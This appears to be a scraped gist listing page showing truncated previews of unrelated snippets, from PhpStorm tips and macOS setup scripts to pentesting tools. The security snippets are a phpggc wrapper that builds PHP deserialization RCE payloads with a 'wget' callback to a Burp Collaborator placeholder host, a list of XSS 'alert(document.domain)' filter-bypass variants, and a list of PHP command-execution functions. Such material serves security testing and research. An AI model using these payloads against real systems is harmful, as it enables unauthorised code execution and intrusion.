PhpStorm Tips, ticks and standard setup
- Tips and Tracks for PHPStorm (PHPStorm Tips and Tricks.md)
- Standard setup for PHP projects (Standard.md)
| #!/bin/bash | |
| version=$(curl -s https://portswigger.net/burp/releases | grep "Professional / Community" | head -n1 | grep -E "[0-9\.]+" -o) | |
| if [[ -d ~/Applications/BurpSuite.app ]]; then | |
| local_version=$(cat ~/Applications/BurpSuite.app/Contents/Resources/version.txt) | |
| if [[ "$version" == "$local_version" ]]; then | |
| echo "Latest version is $version - which is the same as the local" | |
| exit 1 | |
| fi |
| #!/bin/bash | |
| # phpggc wrapper that automatically generates payloads for RCE gadgets | |
| function="system" | |
| command="wget http://your.burpcollaborator.net/?" | |
| # modify the options below depending on your use case | |
| options="-a -b -u -f" | |
| # generate gadget chains |
| 0 | |
| 1 | |
| 11 | |
| 12 | |
| 13 | |
| 14 | |
| 15 | |
| 16 | |
| 17 | |
| 2 |
| <?php | |
| //Preview an email | |
| require_once("../../../../config.php"); | |
| require_once($CFG->dirroot . '/mod/assign/locallib.php'); | |
| $ex =\assignsubmission_strathfm\local\model\extension_request::get_record(['id' => 11]); | |
| $u = core_user::get_user($ex->get('userid')); |
exec - Returns last line of commands output
passthru - Passes commands output directly to the browser
system - Passes commands output directly to the browser and returns last line
shell_exec - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen - Opens read or write pipe to process of a command
proc_open - Similar to popen() but greater degree of control
pcntl_exec - Executes a program
| #!/bin/bash | |
| # Creator: Phil Cook | |
| # Modified: Andy Miller | |
| # | |
| # >>> IMPORTANT: Moved to: https://github.com/rhukster/sphp.sh | |
| # >>> Kept here for legacy purposes | |
| # | |
| osx_major_version=$(sw_vers -productVersion | cut -d. -f1) | |
| osx_minor_version=$(sw_vers -productVersion | cut -d. -f2) | |
| osx_patch_version=$(sw_vers -productVersion | cut -d. -f3) |
| // How many ways can you alert(document.domain)? | |
| // Comment with more ways and I'll add them :) | |
| // I already know about the JSFuck way, but it's too long to add (: | |
| // Direct invocation | |
| alert(document.domain); | |
| (alert)(document.domain); | |
| al\u0065rt(document.domain); | |
| al\u{65}rt(document.domain); | |
| window['alert'](document.domain); |
| # Unfortunately this only works with macports for now. I have installed homebrew and macports on my mac | |
| # and use macports explicitly for gnuradio stuff and homebrew as my default package manager. So far | |
| # my system is not broken. I'm considering it as a good sign :p | |
| Steps: | |
| - Install MacPorts (if you havent) following the instructions from here: https://guide.macports.org/#installing | |
| - Install python using Homebrew: brew install python |
In the below keyboard shortcuts, I use the capital letters for reading clarity but this does not imply shift, if shift is needed, I will say shift. So ⌘ + D does not mean hold shift. ⌘ + Shift + D does of course.
| Function | Shortcut |
|---|---|
| New Tab | ⌘ + T |
| Close Tab or Window | ⌘ + W (same as many mac apps) |
| Go to Tab | ⌘ + Number Key (ie: ⌘2 is 2nd tab) |
| Go to Split Pane by Direction | ⌘ + Option + Arrow Key |